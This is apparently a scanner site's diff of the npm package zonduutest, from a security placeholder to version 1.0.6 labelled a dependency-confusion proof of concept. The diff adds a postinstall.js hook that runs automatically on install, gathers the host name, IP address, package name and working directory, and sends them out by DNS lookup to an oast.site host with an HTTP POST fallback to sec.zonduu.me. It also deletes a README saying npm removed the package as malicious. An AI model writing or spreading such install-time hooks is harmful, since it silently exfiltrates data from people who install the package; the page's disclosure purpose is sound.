zonduutest 0.0.1-security.1 → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of zonduutest might be problematic. Click here for more details.
- package/package.json +9 -3
- package/postinstall.js +80 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "zonduutest",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.6",
|
4
|
+
"description": "Proof of concept for dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node postinstall.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,80 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const dns = require('dns');
|
3
|
+
const http = require('http');
|
4
|
+
const os = require('os');
|
5
|
+
|
6
|
+
const logFile = '/tmp/postinstall.log';
|
7
|
+
|
8
|
+
try {
|
9
|
+
fs.appendFileSync(logFile, `Starting postinstall script\n`);
|
10
|
+
|
11
|
+
const hostname = os.hostname();
|
12
|
+
const packageName = process.env.npm_package_name;
|
13
|
+
const packageVersion = process.env.npm_package_version;
|
14
|
+
const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
|
15
|
+
const currentPath = process.cwd();
|
16
|
+
|
17
|
+
const data = {
|
18
|
+
packageName,
|
19
|
+
packageVersion,
|
20
|
+
hostname,
|
21
|
+
ipAddress,
|
22
|
+
currentPath
|
23
|
+
};
|
24
|
+
|
25
|
+
fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
|
26
|
+
|
27
|
+
// Shorten data for DNS exfiltration
|
28
|
+
const dnsData = {
|
29
|
+
hostname,
|
30
|
+
packageName,
|
31
|
+
ipAddress
|
32
|
+
};
|
33
|
+
|
34
|
+
const base64Data = Buffer.from(JSON.stringify(dnsData)).toString('base64').replace(/=/g, '');
|
35
|
+
const truncatedBase64Data = base64Data.substring(0, 63); // Ensure it fits within DNS label length
|
36
|
+
const dnsSubdomain = `${truncatedBase64Data}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
|
37
|
+
|
38
|
+
dns.resolve4(dnsSubdomain, (err, addresses) => {
|
39
|
+
if (err) {
|
40
|
+
fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
|
41
|
+
|
42
|
+
// HTTP fallback
|
43
|
+
const postData = `info=${encodeURIComponent(JSON.stringify(data))}`;
|
44
|
+
|
45
|
+
const options = {
|
46
|
+
hostname: 'sec.zonduu.me', // Replace with your HTTP server hostname
|
47
|
+
port: 80, // Replace with the appropriate port
|
48
|
+
path: '/callbackplz',
|
49
|
+
method: 'POST',
|
50
|
+
headers: {
|
51
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
52
|
+
'Content-Length': postData.length
|
53
|
+
}
|
54
|
+
};
|
55
|
+
|
56
|
+
const req = http.request(options, (res) => {
|
57
|
+
let responseData = '';
|
58
|
+
res.on('data', (chunk) => {
|
59
|
+
responseData += chunk;
|
60
|
+
});
|
61
|
+
res.on('end', () => {
|
62
|
+
fs.appendFileSync(logFile, `HTTP request completed with status ${res.statusCode}: ${responseData}\n`);
|
63
|
+
});
|
64
|
+
});
|
65
|
+
|
66
|
+
req.on('error', (e) => {
|
67
|
+
fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
|
68
|
+
});
|
69
|
+
|
70
|
+
req.write(postData);
|
71
|
+
req.end();
|
72
|
+
} else {
|
73
|
+
fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
|
74
|
+
}
|
75
|
+
});
|
76
|
+
|
77
|
+
fs.appendFileSync(logFile, `postinstall script finished\n`);
|
78
|
+
} catch (e) {
|
79
|
+
fs.appendFileSync(logFile, `Error: ${e.message}\n`);
|
80
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=zonduutest for more information.
|